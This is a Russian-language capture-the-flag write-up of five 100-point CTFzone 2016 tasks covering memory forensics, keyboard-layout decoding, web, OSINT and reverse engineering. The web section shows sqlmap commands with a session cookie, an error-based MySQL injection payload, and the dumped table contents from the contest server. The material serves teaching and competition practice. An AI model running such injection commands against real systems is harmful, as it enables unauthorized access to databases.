Продолжаем цикл статей, посвященный райтапу по CTFzone, который проходил 17 и 18 ноября в рамках ZeroNights2016 под флагом Bi.Zone. В этот раз мы поговорим о заданиях, выполнение которых приносило по 100 очков в пользу реальных хакеров!
Предыдущие публикации из данного цикла
Отдельное спасибо GH0st3rs за предоставленные райтапы некоторых заданий.
FORENSIC100 — Master of Strings
Rise and shine, Lieutenant, stop dreaming of drinking vodka and playing with the bear. A.U.R.O.R.A. is speaking and it’s time you stopped sleeping at your workplace. You can’t idle your time anymore as the whole world might go down the drain unless, well… Let's say it’s time you are back in the game. The right man in the wrong place can change the world. So wake up, Lieutenant, find a password for the Spaceship panel and join the forces on Earth!
К заданию прилагался 7z архив с файлом '.RAM' внутри. Логично, что необходимо анализировать слепок ОЗУ. Было принято решение смотреть в сторону 'Volatility'. Ещё раз (два/три) прочитав задание и пролистав Wiki по Volatility, можно было заметить раздел «Strings» и увидеть ссылку на SysInternals Strings. Разумеется, её мы и используем:
strings.exe task_forensic_100.ram > output
Получаем output на ~70МБ из строк UNICODE длиной более 3 символов (по-умолчанию). Открыв его текстовым редактором, я отправился на поиски флага, — «А вдруг?». Каково же было моё удивление:
Как потом оказалось: мой вариант получения флага оказался не таким, каким его планировал «автор». Ну, что же, может быть так даже лучше.
MISC100 — Nerdy Mechanic
A.U.R.O.R.A.: Lieutenant, let me introduce you to Sergeant Varvara. She needs your help.
Sergeant Varvara: Lieutenant, this terminal is not working. I entered my request but there is some gibberish on the screen. Our air mechanic was the last to work on this terminal. Would you take a look?
Ниже нам предоставляют тот самый «кривой» вывод из терминала:
why
ir -iagp
irbie -t
cifap
iw;-pfqlfrg -sfm DFG gukjlpi.cym/dnwalwbw
pfrfg
Что же с этим делать? Давайте посмотрим внимательнее: конец пятой строки очень напоминает ссылку. Однако, нужно заменить: 'y' -> 'o'. Тогда и в первой строке 'why' превращается в 'who' — Ага! — очевидно, что это интерпретатор Bash. Может в этом задании и была некая логика подмены букв, однако набросав простенький скрипт в Python методом проб, решение пришло само собой:
print(text.replace('y','o').replace('j','y').replace('n','j').replace('k','n').replace('u','v').replace('l','u').replace('i','l').replace('r','s').replace('e','k').replace('f','e').replace('p','r').replace('g','t').replace('G','T').replace(';','p').replace('d','g').replace('D','G').replace('F','E').replace('v','i'))
В итоге получилось следующее:
who
ls -latr
lsblk -t
clear
lwp-request -sem GET tinyurl.com/gjwauwbw
reset
Переходим по ссылке и видим флаг: ctfzone{182ac24a3b2dc86ba298f57d9c391c0b}
P.S. > Из источников стало известно, что оригинальный алгоритм замены букв в данном шифротексте — использование Colemak.
WEB100 — Search Engine
Lieutenant (You): A.U.R.O.R.A., I’m in the SNT-47 compartment, in the general-purpose room. Thermal signatures are missing. I need to find a way to connect to the ship communications and it’s urgent, what should I do?
A.U.R.O.R.A.: Welcome to the information retrieval system A.U.R.O.R.A. Please name your identification number.
You: What identification number?! Are you broken as well?? Let's see what you have inside if I don’t want to stay here forever...
К заданию прилагалась ссылка на сайт с формой авторизации:
С чего начать? Правильно: с поиска по исходному коду страницы. Идём туда и наблюдаем:
<script src=/static/js/pewpew.js type="text/javascript"></script>
Открываем, смотрим:
if ('s3cr3tuser' === $(ctrls[0]).find('input').val()
&& 'v3rySTr0ngP@ss' === $(ctrls[1]).find('input').val()) {
Невооруженным взглядом мы понимаем что к чему. Возвращаемся на форму авторизации и идём дальше. Перед нами открывается страница с единственной строкой поиска. «А не SQLi ли здесь часом?», — должно послышаться в голове. Идём проверять: бинго!
Что же, расчехляем старый добрый SqlMap (конечно, можно и руками). Не забываем о том, что мы произвели авторизацию => нужно указать Cookies. В целях экономии местного пространства «вывод» не полный:
root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzZkhXekRTd09WSVlQR0oifQ.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --dbms=MySQL --tables
Вывод команды
Parameter: #1* (URI)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: http://78.155.219.6:80/search/param1'||(SELECT 'bGEm' FROM DUAL WHERE 8985=8985 AND (SELECT 1912 FROM(SELECT COUNT(*),CONCAT(0x7170716a71,(SELECT (ELT(1912=1912,1))),0x7176717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'
---
[18:30:29] [INFO] testing MySQL
[18:30:29] [INFO] confirming MySQL
[18:30:29] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[18:30:29] [INFO] fetching database names
[18:30:29] [INFO] the SQL query used returns 5 entries
[18:30:29] [INFO] resumed: information_schema
[18:30:29] [INFO] resumed: mysql
[18:30:29] [INFO] resumed: performance_schema
[18:30:29] [INFO] resumed: sqli_100
[18:30:29] [INFO] resumed: sys
[18:30:29] [INFO] fetching tables for databases: 'information_schema, mysql, performance_schema, sqli_100, sys'
[18:30:29] [INFO] the SQL query used returns 282 entries
root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzZkhXekRTd09WSVlQR0oifQ.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --dbms=MySQL -D "sqli_100" -T "wtf3thisiss3crettable_dont_read_dont_touch" --columns
Вывод команды
Database: sqli_100
Table: wtf3thisiss3crettable_dont_read_dont_touch
[2 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| id | int(5) |
| secret | varchar(500) |
+--------+--------------+
root@hackzard:~# sqlmap -u "http://78.155.219.6/search/param1*" --cookie="session=eyJ1c2VybmFtZSI6InMzY3IzdHVzZXJzZkhXekRTd09WSVlQR0oifQ.Cw6t3A.obdrULM4zqHM6FlQcQh_uaPtgmg" --level=3 --dbms=MySQL -D "sqli_100" -T "wtf3thisiss3crettable_dont_read_dont_touch" -C "secret" --dump
Вывод команды
Database: sqli_100
Table: wtf3thisiss3crettable_dont_read_dont_touch
[13 entries]
+-----------------------------------------+
| secret |
+-----------------------------------------+
| 089b1d5d37c22d81b55b6f77c9e2b042 |
| asdkkjhjsdaojewifdiowuefdw0 |
| asdkkjhjsdaojewifdiowuefdw0 |
| dskjhwjkfhsjdkfhsjdkhfjk |
| dskjhwjkfhsjdkfhsjdkhfjk |
| dskjhwjkfhsjdkfhsjdkhfjk |
| dskjhwjkfhsjdkfhsjdkhfjk |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| lfhdwrekfgbuhwoeijfdweoifjweoif |
| REMEMBER_FLAG_FORMAT.FLAG_IN_THIS_TABLE |
| REMEMBER_FLAG_FORMAT.FLAG_IN_THIS_TABLE |
+-----------------------------------------+
Нас просят не забывать формат флага, ведь он в этой таблице. А вот и он:
ctfzone{089b1d5d37c22d81b55b6f77c9e2b042}
OSINT100 — Weird Guy
A.U.R.O.R.A.: Lieutenant, our agents sneaked in Cosmos hotel and witnessed the preparations for ZERONIGHTS 2016. Everyone was busy installing their stands and making photos. There was a weird guy in the hall who was absorbed in reading something on his laptop. We couldn’t figure out who was this guy but we need to know what he was looking at the screen. This photo might help you.
К заданию прилагалась фотография:
На фото мы можем наблюдать как
- Осознавая, что фотосъемка происходила в рамках ZeroNights2016 на территории ГК «Космос» — использовать поиск по ГеоТегам. К сожалению, данный момент отказался работать, по причине неопределённых изменений в Instagram API;
- Методом проб и ошибок перебирать все #хештеги, каким-то образом связанные с CTF, Bi.Zone или ZeroNights в целом.
Спустя некоторое время (используя второй способ) искомый хештег был найден: #zn2016. А вот и искомая фотография:
Флаг: ctfzone{Os1nT_G4nGsT3r}
REVERSE100 — The Doors Of Dorun
**A.U.R.O.R.A.: ** Lieutenant, your co-pilot was abducted by aliens and put into prison. They are out hunting now and it’s your chance to set him free! He is held behind the Doors, the jambs invisible to the eye, and matched so perfectly with the metal bulkhead that when closed the Doors could not be seen.
The inscription on the archivolt read:
«The Doors of Dorun, Lord of Omega. Speak, friend, and enter. I, Norvy, made them. Calabrimbor of Alpha Centauri drew these signs».
But be careful and hurry up. They can be back any moment.
К заданию прилагался файл, при запуске которого появлялось окно с полем для ввода пароля. Если пароль неверен, то следовала ошибка:
Ну-с, хорошо, вывернем наизнанку! Дизассемблируем и вновь видим, уже знакомую нам из прошлого задания (REVERSE50), функцию: DialogFunc, по смещению: 13F7C1040. Смотрим далее и находим:
На данном участке кода происходит получение введённого пароля, а затем передача его в функцию (назовём её: PassVerify), и в случае неверного результата:
jz short loc_13F7C1126
переносит нас на участок кода, сигнализирующий об ошибке:
Перейдем в функцию: PassVerify и посмотрим, что же там происходит. Видим проверку длины, введённой нами фразы – 4 символа.
Затем, пароль разбивается на 2 части по 2 символа:
Далее начинается заполнение стека значениями для сверки. И, начиная с адреса: 13F7C1330, начинается сама проверка введённого пароля:
Воспользуемся плагином HexRays и получим вот такой код:
Итак, что мы имеем? В «v3» находится первая часть пароля, а в «v5» — вторая. Если преобразовать данный цикл, то получится вот такое условие (Python):
v8 = [0, 0, 1, 241, 995, 0, 1, 4, 6, 104, 413, 0]
if (v3%3==v8[0] and v3%5==v8[1] and v3%17==v8[2] and v3%257==v8[3] and v3%65537==v8[4]) or (v5%3==v8[6] and v5%5==v8[7] and v5%17==v8[8] and v5%257==v8[9] and v5%65537==v8[10])
Вариант решения данного уравнения каждый выбирал для себя. Однако, мы не ищем лёгких путей и воспользуемся китайской теоремой об остатках (скрипт которой остался ещё с NeoQuest2016):
Китайская теорема об остатках. Реализация: Python
def chinese_remainder(n, a):
sum = 0
prod = reduce(lambda a, b: a*b, n)
for n_i, a_i in zip(n, a):
p = prod / n_i
sum += a_i * mul_inv(p, n_i) * p
return sum % prod
def mul_inv(a, b):
b0 = b
x0, x1 = 0, 1
if b == 1: return 1
while a > 1:
q = a / b
a, b = b, a%b
x0, x1 = x1 - q * x0, x0
if x1 < 0: x1 += b0
return x1
Используем:
hex(chinese_remainder([3,5,17,257,65537],[v8[0],v8[1],v8[2],v8[3],v8[4]]))
Вывод: 0xa028a40b
Используем:
hex(chinese_remainder([3,5,17,257,65537],[v8[6],v8[7],v8[8],v8[9],v8[10]]))
Вывод: 0xa288a425
Мы получили коды символов. Следующим шагом будет посещение данного сайта и поиск соответствующих символов по известным HEX значениям. Получаем: ????. Пробуем данный пароль — Profit!
Мы будем продолжать данный цикл статей, где рассмотрим решения остальных заданий CTFzone 2016.
Оставайтесь с нами!
Поделиться с друзьями
GH0st3rs
hackzard без проблем.